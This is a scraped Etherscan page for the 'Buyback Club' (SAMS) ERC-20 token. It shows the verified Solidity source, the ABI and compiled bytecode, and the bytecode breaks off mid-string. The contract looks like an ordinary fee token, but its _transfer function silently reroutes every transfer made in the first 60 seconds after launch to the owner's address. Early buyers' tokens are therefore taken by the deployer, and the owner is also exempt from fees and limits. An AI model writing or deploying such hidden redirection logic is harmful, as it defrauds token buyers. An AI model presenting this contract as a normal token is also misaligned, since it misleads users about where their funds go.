ETH Price: $2,686.03 (-2.21%)

Token

Buyback Club (SAMS)
 

Overview

Max Total Supply

100,000,000 SAMS

Holders

35

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0.189245845710321721 SAMS

Value
$0.00
0x6001a7d80a2d0c2b5f7f5da3522d81967a1a5410
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BuybackClub

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
Yes with 100000 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-08-22
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.13;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
            address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline
            ) external payable returns (
                uint256 amountToken, uint256 amountETH, uint256 liquidity
                );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
            uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline
            ) external;
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) { return msg.sender; }
}

contract Ownable is Context {
    address private _owner;
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
    }
    function owner() public view returns (address) { return _owner; }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner.");
        _;
    }
    function renounceOwnership() external virtual onlyOwner { _owner = address(0); }
    function transferOwnership(address newOwner) external virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address.");
        _owner = newOwner;
    }
}

contract BuybackClub is IERC20, Ownable {
    IRouter public uniswapV2Router;
    address public uniswapV2Pair;
    string private constant _name =  "Buyback Club";
    string private constant _symbol = "SAMS";
    uint8 private constant _decimals = 18;
    mapping (address => uint256) private balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 private constant _totalSupply = 100000000 * 10**18; // 100 million
    mapping (address => bool) public automatedMarketMakerPairs;
    bool private isLiquidityAdded = false;
    uint256 public maxWalletAmount = _totalSupply;
    uint256 public maxTxAmount = _totalSupply;
    mapping (address => bool) private _isExcludedFromMaxWalletLimit;
    mapping (address => bool) private _isExcludedFromMaxTransactionLimit;
    mapping (address => bool) private _isExcludedFromFee;
    uint8 public constant buyFee = 7;
    uint8 public constant sellFee = 7;
    address public constant deadWallet = 0x000000000000000000000000000000000000dEaD;
    address private constant marketingWallet = 0xb3f77213187b8C976e2355C10D20052B1EbD3687;
    uint256 minimumTokensBeforeSwap = _totalSupply * 250 / 1000000; // .025%
    uint256 private _launchTimestamp;

    constructor() {
        IRouter _uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[marketingWallet] = true;
        _isExcludedFromFee[deadWallet] = true;
        _isExcludedFromMaxWalletLimit[address(uniswapV2Router)] = true;
        _isExcludedFromMaxWalletLimit[address(this)] = true;
        _isExcludedFromMaxWalletLimit[owner()] = true;
        _isExcludedFromMaxWalletLimit[marketingWallet] = true;
        _isExcludedFromMaxWalletLimit[deadWallet] = true;
        _isExcludedFromMaxTransactionLimit[address(uniswapV2Router)] = true;
        _isExcludedFromMaxTransactionLimit[address(this)] = true;
        _isExcludedFromMaxTransactionLimit[owner()] = true;
        _isExcludedFromMaxTransactionLimit[marketingWallet] = true;
        _isExcludedFromMaxTransactionLimit[deadWallet] = true;
        balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);
    }

    receive() external payable {} // so the contract can receive eth

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom( address sender,address recipient,uint256 amount) external override returns (bool) {
        _transfer(sender, recipient, amount);
        require(amount <= _allowances[sender][_msgSender()], "ERC20: transfer amount exceeds allowance.");
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }
    function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool){
        _approve(_msgSender(),spender,_allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) {
        require(subtractedValue <= _allowances[_msgSender()][spender], "ERC20: decreased allownace below zero.");
        _approve(_msgSender(),spender,_allowances[_msgSender()][spender] - subtractedValue);
        return true;
    }   
    function _approve(address owner, address spender,uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
    }
    function activateTrading() external onlyOwner {
        require(!isLiquidityAdded, string.concat(_name, ": you can only add liquidity once"));
        isLiquidityAdded = true;
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, _msgSender(), block.timestamp);
        address _uniswapV2Pair = IFactory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH() );
        uniswapV2Pair = _uniswapV2Pair;
        maxWalletAmount = _totalSupply * 2 / 100; //  2%
        maxTxAmount = _totalSupply * 2 / 100;     //  2%
        _isExcludedFromMaxWalletLimit[_uniswapV2Pair] = true;
        _isExcludedFromMaxTransactionLimit[_uniswapV2Pair] = true;
        _setAutomatedMarketMakerPair(_uniswapV2Pair, true);
        _launchTimestamp = block.timestamp;
    }
    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        require(automatedMarketMakerPairs[pair] != value, string.concat(_name, ": automated market maker pair is already set to that value."));
        automatedMarketMakerPairs[pair] = value;
    }

    function name() external pure returns (string memory) { return _name; }
    function symbol() external pure returns (string memory) { return _symbol; }
    function decimals() external view virtual returns (uint8) { return _decimals; }
    function totalSupply() external pure override returns (uint256) { return _totalSupply; }
    function balanceOf(address account) public view override returns (uint256) { return balances[account]; }
    function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; }

    function _transfer(address from, address to, uint256 amount) internal {
        require(from != address(0), string.concat(_name, ": cannot transfer from the zero address."));
        require(to != address(0), string.concat(_name, ": cannot transfer to the zero address."));
        require(amount > 0, string.concat(_name, ": transfer amount must be greater than zero."));
        require(amount <= balanceOf(from), string.concat(_name, ": cannot transfer more than balance."));
        if (block.timestamp - _launchTimestamp <= 60) { to = owner(); } // 1 minute
        if ((from == address(uniswapV2Pair) && !_isExcludedFromMaxTransactionLimit[to]) ||
                (to == address(uniswapV2Pair) && !_isExcludedFromMaxTransactionLimit[from])) {
            require(amount <= maxTxAmount, string.concat(_name, ": transfer amount exceeds the maxTxAmount."));
        }
        if (!_isExcludedFromMaxWalletLimit[to]) {
            require((balanceOf(to) + amount) <= maxWalletAmount, string.concat(_name, ": expected wallet amount exceeds the maxWalletAmount."));
        }
        if (_isExcludedFromFee[from] || _isExcludedFromFee[to] ||
                (from == uniswapV2Pair && buyFee == 0) || // buy
                (to == uniswapV2Pair && sellFee == 0)     // sell
        ) {
            balances[from] -= amount;
            balances[to] += amount;
            emit Transfer(from, to, amount);
        } else {
            balances[from] -= amount;
            if (from == uniswapV2Pair) { // buy
                balances[address(this)] += amount * buyFee / 100;
                emit Transfer(from, address(this), amount * buyFee / 100);
                balances[to] += amount - (amount * buyFee / 100);
                emit Transfer(from, to, amount - (amount * buyFee / 100));
            } else { // sell
                balances[address(this)] += amount * sellFee / 100;
                emit Transfer(from, address(this), amount * sellFee / 100);
                if (balanceOf(address(this)) > minimumTokensBeforeSwap) {
                    _swapTokensForETH(balanceOf(address(this)));
                    payable(marketingWallet).transfer(address(this).balance);
                }
                balances[to] += amount - (amount * sellFee / 100);
                emit Transfer(from, to, amount - (amount * sellFee / 100));
            }
        }
    }
    function _swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"activateTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006805460ff191690556a52b7d2dcc80cd2e400000060078190556008819055620f424090620000369060fa62000272565b620000429190620002a0565b600c553480156200005257600080fd5b50600080546001600160a01b031990811633908117835560018054737a250d5630b4cf539739df2c5dacb4c659f2488d931683178155908352600b60209081526040808520805460ff1990811685179091553080875282872080548316861790557f8207e293d7588bcc5462a7f51fd1ebad3b9764fb53d90aff60aa66acc14ac22980548316861790557f44433eeeda1d04bdae79f62169cdb2ab0a6af287fa15706d3fafdbac5fac3415805483168617905584546001600160a01b039081168852600985528388208054841687179055818852838820805484168717905587548116885283882080548416871790557f5fbe03fd03a6309b41f505b0b93fb3047c56bb429a400e41f2e23b62be5385dd80548416871790557f960b1051749987b45b5679007fff577a1c2f763ec21c15a6c5eb1930750037858054841687179055855481168852600a855283882080548416871790558188528388208054841687179055875416875282872080548316861790557f371ecbe6d37915743c6b5623712f4188eee4679f7bdf858020e6fa3a27b0967b80548316861790557f20677881080440a9b3c87e826370bb5d9c2f74efd4dede686d52d77a6a09f8bb80549092169094179055828552600382528085206a52b7d2dcc80cd2e40000009081905581519081529051939492937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a350620002c3565b60008160001904831182151516156200029b57634e487b7160e01b600052601160045260246000fd5b500290565b600082620002be57634e487b7160e01b600052601260045260246000fd5b500490565b61250d80620002d36000396000f3fe6080604052600436106101845760003560e01c806370a08231116100d6578063a457c2d71161007f578063b62496f511610059578063b62496f51461049c578063dd62ed3e146104cc578063f2fde38b1461051f57600080fd5b8063a457c2d714610446578063a9059cbb14610466578063aa4bde281461048657600080fd5b80638c0b5e22116100b05780638c0b5e22146103bf5780638da5cb5b146103d557806395d89b411461040057600080fd5b806370a0823114610351578063715018a61461039457806385141a77146103a957600080fd5b806323b872dd116101385780633950935111610112578063395093511461030457806347062402146102c957806349bd5a5e1461032457600080fd5b806323b872dd146102a95780632b14ca56146102c9578063313ce567146102f057600080fd5b80630bd05b69116101695780630bd05b69146102185780631694505e1461022f57806318160ddd1461028157600080fd5b806306fdde0314610190578063095ea7b3146101e857600080fd5b3661018b57005b600080fd5b34801561019c57600080fd5b5060408051808201909152600c81527f4275796261636b20436c7562000000000000000000000000000000000000000060208201525b6040516101df9190611e84565b60405180910390f35b3480156101f457600080fd5b50610208610203366004611efa565b61053f565b60405190151581526020016101df565b34801561022457600080fd5b5061022d610555565b005b34801561023b57600080fd5b5060015461025c9073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016101df565b34801561028d57600080fd5b506a52b7d2dcc80cd2e40000005b6040519081526020016101df565b3480156102b557600080fd5b506102086102c4366004611f26565b610ad0565b3480156102d557600080fd5b506102de600781565b60405160ff90911681526020016101df565b3480156102fc57600080fd5b5060126102de565b34801561031057600080fd5b5061020861031f366004611efa565b610bef565b34801561033057600080fd5b5060025461025c9073ffffffffffffffffffffffffffffffffffffffff1681565b34801561035d57600080fd5b5061029b61036c366004611f67565b73ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b3480156103a057600080fd5b5061022d610c33565b3480156103b557600080fd5b5061025c61dead81565b3480156103cb57600080fd5b5061029b60085481565b3480156103e157600080fd5b5060005473ffffffffffffffffffffffffffffffffffffffff1661025c565b34801561040c57600080fd5b5060408051808201909152600481527f53414d530000000000000000000000000000000000000000000000000000000060208201526101d2565b34801561045257600080fd5b50610208610461366004611efa565b610d04565b34801561047257600080fd5b50610208610481366004611efa565b610e07565b34801561049257600080fd5b5061029b60075481565b3480156104a857600080fd5b506102086104b7366004611f67565b60056020526000908152604090205460ff1681565b3480156104d857600080fd5b5061029b6104e7366004611f8b565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260046020908152604080832093909416825291909152205490565b34801561052b57600080fd5b5061022d61053a366004611f67565b610e14565b600061054c338484610fa5565b50600192915050565b60005473ffffffffffffffffffffffffffffffffffffffff163314610601576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e0000000000000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b600654604080518082018252600c81527f4275796261636b20436c75620000000000000000000000000000000000000000602080830191909152915160ff909316159261064e9201611fc4565b60405160208183030381529060405290610695576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f89190611e84565b50600680547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001908117909155546106f290309073ffffffffffffffffffffffffffffffffffffffff166a52b7d2dcc80cd2e4000000610fa5565b60015473ffffffffffffffffffffffffffffffffffffffff1663f305d719473061073e8173ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b6000803360405160e088901b7fffffffff0000000000000000000000000000000000000000000000000000000016815273ffffffffffffffffffffffffffffffffffffffff958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107cf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107f4919061202b565b5050506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610866573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088a9190612059565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610913573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109379190612059565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b16815273ffffffffffffffffffffffffffffffffffffffff928316600482015291166024820152604401602060405180830381865afa1580156109a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cb9190612059565b600280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8316178155909150606490610a27906a52b7d2dcc80cd2e4000000906120a5565b610a3191906120e2565b6007556064610a4c6a52b7d2dcc80cd2e400000060026120a5565b610a5691906120e2565b60085573ffffffffffffffffffffffffffffffffffffffff81166000908152600960209081526040808320805460017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff009182168117909255600a9093529220805490911682179055610ac9908290611123565b5042600d55565b6000610add848484611236565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600460209081526040808320338452909152902054821115610b9d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602960248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206160448201527f6c6c6f77616e63652e000000000000000000000000000000000000000000000060648201526084016105f8565b73ffffffffffffffffffffffffffffffffffffffff8416600090815260046020908152604080832033808552925290912054610be5918691610be090869061211d565b610fa5565b5060019392505050565b33600081815260046020908152604080832073ffffffffffffffffffffffffffffffffffffffff87168452909152812054909161054c918590610be0908690612134565b60005473ffffffffffffffffffffffffffffffffffffffff163314610cda576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e0000000000000000000000000000000000000000000000000000000000000060648201526084016105f8565b600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b33600090815260046020908152604080832073ffffffffffffffffffffffffffffffffffffffff86168452909152812054821115610dc4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f45524332303a2064656372656173656420616c6c6f776e6163652062656c6f7760448201527f207a65726f2e000000000000000000000000000000000000000000000000000060648201526084016105f8565b33600081815260046020908152604080832073ffffffffffffffffffffffffffffffffffffffff8816845290915290205461054c91908590610be090869061211d565b600061054c338484611236565b60005473ffffffffffffffffffffffffffffffffffffffff163314610ebb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e0000000000000000000000000000000000000000000000000000000000000060648201526084016105f8565b73ffffffffffffffffffffffffffffffffffffffff8116610f5e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602760248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f6464726573732e0000000000000000000000000000000000000000000000000060648201526084016105f8565b600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b73ffffffffffffffffffffffffffffffffffffffff8316611047576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016105f8565b73ffffffffffffffffffffffffffffffffffffffff82166110ea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016105f8565b73ffffffffffffffffffffffffffffffffffffffff92831660009081526004602090815260408083209490951682529290925291902055565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600560209081526040918290205482518084018452600c81527f4275796261636b20436c7562000000000000000000000000000000000000000081840152925160ff90911615158415151415926111989290910161214c565b604051602081830303815290604052906111df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f89190611e84565b5073ffffffffffffffffffffffffffffffffffffffff91909116600090815260056020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600c81526020017f4275796261636b20436c756200000000000000000000000000000000000000008152506040516020016112ad91906121b3565b604051602081830303815290604052906112f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f89190611e84565b50600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156040518060400160405280600c81526020017f4275796261636b20436c7562000000000000000000000000000000000000000081525060405160200161136c919061221a565b604051602081830303815290604052906113b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f89190611e84565b50600081116040518060400160405280600c81526020017f4275796261636b20436c756200000000000000000000000000000000000000008152506040516020016113fe9190612281565b60405160208183030381529060405290611445576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f89190611e84565b5073ffffffffffffffffffffffffffffffffffffffff83166000908152600360205260409020548111156040518060400160405280600c81526020017f4275796261636b20436c756200000000000000000000000000000000000000008152506040516020016114b591906122e8565b604051602081830303815290604052906114fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f89190611e84565b50603c600d544261150d919061211d565b1161152e5760005473ffffffffffffffffffffffffffffffffffffffff1691505b60025473ffffffffffffffffffffffffffffffffffffffff848116911614801561157e575073ffffffffffffffffffffffffffffffffffffffff82166000908152600a602052604090205460ff16155b806115d4575060025473ffffffffffffffffffffffffffffffffffffffff83811691161480156115d4575073ffffffffffffffffffffffffffffffffffffffff83166000908152600a602052604090205460ff16155b1561166e576008548111156040518060400160405280600c81526020017f4275796261636b20436c75620000000000000000000000000000000000000000815250604051602001611625919061234f565b6040516020818303038152906040529061166c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f89190611e84565b505b73ffffffffffffffffffffffffffffffffffffffff821660009081526009602052604090205460ff1661176657600754816116cb8473ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b6116d59190612134565b11156040518060400160405280600c81526020017f4275796261636b20436c7562000000000000000000000000000000000000000081525060405160200161171d91906123b6565b60405160208183030381529060405290611764576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f89190611e84565b505b73ffffffffffffffffffffffffffffffffffffffff83166000908152600b602052604090205460ff16806117bf575073ffffffffffffffffffffffffffffffffffffffff82166000908152600b602052604090205460ff165b806117ed575060025473ffffffffffffffffffffffffffffffffffffffff84811691161480156117ed575060005b8061181b575060025473ffffffffffffffffffffffffffffffffffffffff838116911614801561181b575060005b156119025773ffffffffffffffffffffffffffffffffffffffff83166000908152600360205260408120805483929061185590849061211d565b909155505073ffffffffffffffffffffffffffffffffffffffff82166000908152600360205260408120805483929061188f908490612134565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118f591815260200190565b60405180910390a3505050565b73ffffffffffffffffffffffffffffffffffffffff83166000908152600360205260408120805483929061193790849061211d565b909155505060025473ffffffffffffffffffffffffffffffffffffffff90811690841603611ac257606461196c6007836120a5565b61197691906120e2565b3060009081526003602052604081208054909190611995908490612134565b9091555030905073ffffffffffffffffffffffffffffffffffffffff84167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60646119e16007866120a5565b6119eb91906120e2565b60405190815260200160405180910390a36064611a096007836120a5565b611a1391906120e2565b611a1d908261211d565b73ffffffffffffffffffffffffffffffffffffffff831660009081526003602052604081208054909190611a52908490612134565b909155505073ffffffffffffffffffffffffffffffffffffffff8083169084167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6064611aa06007866120a5565b611aaa91906120e2565b611ab4908561211d565b6040519081526020016118f5565b6064611acf6007836120a5565b611ad991906120e2565b3060009081526003602052604081208054909190611af8908490612134565b9091555030905073ffffffffffffffffffffffffffffffffffffffff84167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6064611b446007866120a5565b611b4e91906120e2565b60405190815260200160405180910390a3600c54306000908152600360205260409020541115611bd35730600090815260036020526040902054611b9190611ca1565b60405173b3f77213187b8c976e2355c10d20052b1ebd3687904780156108fc02916000818181858888f19350505050158015611bd1573d6000803e3d6000fd5b505b6064611be06007836120a5565b611bea91906120e2565b611bf4908261211d565b73ffffffffffffffffffffffffffffffffffffffff831660009081526003602052604081208054909190611c29908490612134565b909155505073ffffffffffffffffffffffffffffffffffffffff8083169084167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6064611c776007866120a5565b611c8191906120e2565b611c8b908561211d565b60405190815260200160405180910390a3505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611cd657611cd661241d565b73ffffffffffffffffffffffffffffffffffffffff928316602091820292909201810191909152600154604080517fad5c46480000000000000000000000000000000000000000000000000000000081529051919093169263ad5c46489260048083019391928290030181865afa158015611d55573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d799190612059565b81600181518110611d8c57611d8c61241d565b73ffffffffffffffffffffffffffffffffffffffff9283166020918202929092010152600154611dbf9130911684610fa5565b6001546040517f791ac94700000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9091169063791ac94790611e1e90859060009086903090429060040161244c565b600060405180830381600087803b158015611e3857600080fd5b505af1158015611e4c573d6000803e3d6000fd5b505050505050565b60005b83811015611e6f578181015183820152602001611e57565b83811115611e7e576000848401525b50505050565b6020815260008251806020840152611ea3816040850160208701611e54565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b73ffffffffffffffffffffffffffffffffffffffff81168114611ef757600080fd5b50565b60008060408385031215611f0d57600080fd5b8235611f1881611ed5565b946020939093013593505050565b600080600060608486031215611f3b57600080fd5b8335611f4681611ed5565b92506020840135611f5681611ed5565b929592945050506040919091013590565b600060208284031215611f7957600080fd5b8135611f8481611ed5565b9392505050565b60008060408385031215611f9e57600080fd5b8235611fa981611ed5565b91506020830135611fb981611ed5565b809150509250929050565b60008251611fd6818460208701611e54565b7f3a20796f752063616e206f6e6c7920616464206c6971756964697479206f6e639201918252507f65000000000000000000000000000000000000000000000000000000000000006020820152602101919050565b60008060006060848603121561204057600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561206b57600080fd5b8151611f8481611ed5565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156120dd576120dd612076565b500290565b600082612118577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b60008282101561212f5761212f612076565b500390565b6000821982111561214757612147612076565b500190565b6000825161215e818460208701611e54565b7f3a206175746f6d61746564206d61726b6574206d616b657220706169722069739201918252507f20616c72656164792073657420746f20746861742076616c75652e00000000006020820152603b01919050565b600082516121c5818460208701611e54565b7f3a2063616e6e6f74207472616e736665722066726f6d20746865207a65726f209201918252507f616464726573732e0000000000000000000000000000000000000000000000006020820152602801919050565b6000825161222c818460208701611e54565b7f3a2063616e6e6f74207472616e7366657220746f20746865207a65726f2061649201918252507f64726573732e00000000000000000000000000000000000000000000000000006020820152602601919050565b60008251612293818460208701611e54565b7f3a2074726